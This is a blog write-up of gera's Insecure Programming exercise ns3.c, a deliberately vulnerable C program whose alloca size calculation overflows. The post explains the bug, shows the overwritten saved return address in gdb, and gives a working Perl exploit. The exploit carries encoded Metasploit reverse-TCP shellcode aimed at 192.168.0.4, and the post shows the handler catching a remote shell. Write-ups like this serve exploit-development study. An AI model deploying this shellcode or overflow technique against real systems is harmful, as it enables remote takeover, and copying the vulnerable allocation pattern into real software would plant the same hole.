Sunday, February 12, 2012

Numeric: ns3

gera's Insecure Programming ns2.c was the same as ns1.c.

Here is gera's Insecure Programming ns3.c with a few debugging printfs to help visualize the integer overflow.

/* n3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>

unsigned int count;
char **args;

int main(int argv, char **argc) {
char buf[80];

fscanf(stdin, "%u", &count);
printf("unsigned int count = 0x%x (%u)\n", count, count);

printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

args = alloca(count*sizeof(char*));
printf("\nunsigned int count*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));


while (count--) {
if (!fgets(buf,sizeof buf,stdin)) break;
*args++=strdup(buf);
}
}

A quick run down of the code:
  1. args is a pointer to a character pointer and is declared out in bss land.
  2. An unsigned integer is read into count from standard input.
  3. alloca is like malloc, but allocates storage space on the stack. it allocates count * sizeof(char *) bytes and assigns it to args. this math problem will cause an integer overflow as shown below.
  4. Up to count/EOF lines are read in from standard input.
  5. The contents of each line is copied to the heap (via strdup) and their addresses are stored in the stack space allocated by alloca.
The maximum value for an unsigned int (on my 32-bit x86) is 2^32 = 4,294,967,296. count, an unsigned int, will be multplied by 4 (size of a character pointer). 4,294,967,296/4 = 1,073,741,824. Here are what the the values look like around this boundary.

[dennis@localhost n3]$ ./n3_debug
1073741824
unsigned int count = 0x40000000 (1073741824)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x0 (0)

[dennis@localhost n3]$ ./n3_debug
10737418276
unsigned int count = 0x40000002 (1073741826)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x8 (8)

As can be seen, the multiplication overflows the unsigned int and wraps back to 0 causing only 8 bytes to be allocated instead of 1,073,741,826 bytes. This allows the while loop to write past alloca's allocation into things like main's saved eip.
Here is what the stack looks like just before main returns using a pattern input.

(gdb) info frame
Stack level 0, frame at 0xbffffab8:
eip = 0x8048610 in main (n3_debug.c:26); saved eip 0x8049cc8
called by frame at 0x8049ca0
source language c.
Arglist at 0xbffffab8, args: argv=134520048, argc=0x8049d18
Locals at 0xbffffab8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffab8, eip at 0xbffffabc
(gdb) x/x 0xbffffabc
0xbffffabc: 0x08049cc8
(gdb) x/x *0xbffffabc
0x8049cc8: 0x61616161
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08049ce8 in ?? ()

During one of the loop iterations (after writing past alloca's storage space), main's saved eip is overwritten with an address returned from a strdup. This address points to a character string in the heap that contains a bunch of "a"s (0x61).

Here is my exploit code to take advantage of this integer overflow and stack overflow.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# overflows alloca math to only allocate 8 bytes.
print "1073741826\n";

# 26 rows of filler
for (my $i = 1; $i < 27; $i++) {
print "A" x 32;
print "\n"
}

print $nops . $shellcode . "\n";

A small nop sled and shellcode are read in on the 28th iteration of the loop. strdup copies this egg to the heap and returns it's address to *args. *args will at that time be pointing to main's saved eip. On return from main, the heap address is popped from saved eip into eip and the the shellcode starts executing.

Here's what it looks like in action.

[dennis@localhost n3]$ ./n3_debug < exp2
unsigned int count = 0x40000002 (1073741826)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x8 (8)

[dennis@localhost n3]$ exit

...

msf > use multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:59560) at 2012-02-12 18:15:50 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n3